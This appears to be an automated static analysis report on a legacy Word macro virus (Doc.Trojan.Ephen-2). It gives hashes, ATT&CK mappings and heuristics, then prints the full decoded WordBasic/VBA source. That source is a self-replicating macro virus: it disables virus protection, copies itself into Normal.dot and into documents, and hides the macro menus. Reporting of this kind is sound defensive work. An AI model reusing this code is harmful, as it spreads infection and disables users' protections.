Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a0fa5e0face3f57b…

MALICIOUS

Office (OLE)

40.0 KB Created: 1980-01-04 20:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 0b8c70cb1dc22600006ec54822adf3bd SHA-1: d91720a0e4b051d86dc1d574d79a21788a898f02 SHA-256: a0fa5e0face3f57bd8430b0fce3269d4cd14837569c789684ea26b89bc4f6956
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

This OLE document contains legacy WordBasic macros, specifically an AutoOpen macro, which is a strong indicator of malicious intent. The macro attempts to disable macro security features and copy itself to the Normal.dot template, likely to establish persistence and facilitate further execution. The ClamAV detection as 'Doc.Trojan.Ephen-2' further supports its malicious nature.

Heuristics 5

  • ClamAV: Doc.Trojan.Ephen-2 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Ephen-2
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 3145 bytes
SHA-256: b181e8523679df3573f6f7139c4d735dc0d9a7a638eedb3441564e3dbc0f2e02
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "bagabs"
Sub AutoOpen()
Attribute AutoOpen.VB_Description = "Macro created 01/28/98 by Franky Stefanus Mait"
Attribute AutoOpen.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.bagabs"
' bagabs by ephen 01/31/98
On Error GoTo bagabs

WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
GlobalDoc = NormalTemplate
GlobalInstalled = False

For f = 1 To NormalTemplate.VBProject.VBComponents.Count
  If NormalTemplate.VBProject.VBComponents(f).Name = "bagabs" Then
    GlobalInstalled = True
  End If
Next

If GlobalInstalled = False Then
  Application.OrganizerCopy _
    Source:=ActiveDocument.FullName, _
    Destination:=NormalTemplate.FullName, _
    Name:="bagabs", _
    Object:=wdOrganizerObjectProjectItems
  Options.SaveNormalPrompt = False
  CommandBars("Tools").Controls("Macro").Enabled = False
  For s = 13 To 16
    CommandBars("Tools").Controls(s).Enabled = False
  Next
End If

If Day(Now()) = 5 And Month(Now()) = 7 Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Praise the Lord ! Now and forever . . ." + Chr(13) + Chr(13) + _
                "Thank's for Your blessing in all my life . . ."
        .Heading = "ephen"
        .Animation = 102
        .Show
    End With
End If

If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Minahasa:" + Chr(13) + "  Si Tou Timou Tumou Tou..." + Chr(13) + Chr(13) + _
        "bukang" + Chr(13) + "       Si Tou Timou Tumongko' Tou..."
        .Heading = "bagabs manguni"
        .Animation = 112
        .Show
    End With
End If

bagabs:
End Sub
Sub AutoClose()
' bagabs by ephen 01/31/98
On Error GoTo bagabs

WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
ActiveDoc = ActiveDocument
DocumentInstalled = False

For m = 1 To ActiveDocument.VBProject.VBComponents.Count
  If ActiveDocument.VBProject.VBComponents(m).Name = "bagabs" Then
    DocumentInstalled = True
  End If
Next

If DocumentInstalled = False Then
  Application.OrganizerCopy _
    Source:=NormalTemplate.FullName, _
    Destination:=ActiveDocument.FullName, _
    Name:="bagabs", _
    Object:=wdOrganizerObjectProjectItems
End If

If Day(Now()) = 5 And Month(Now()) = 7 Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Thank's 4 your attention . . ." + Chr(13) + Chr(13) + ". . . In My Day!"
        .Heading = "ephen"
        .Animation = 102
        .Show
    End With
End If

If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
    With Assistant.NewBalloon
        .Icon = msoIconTip
        .Text = "Anti Potas" + Chr(13) + Chr(13) + "    piara bae-bae tu anjing . . ."
        .Heading = "bagabs manguni"
        .Animation = 116
        .Show
    End With
End If

bagabs:
End Sub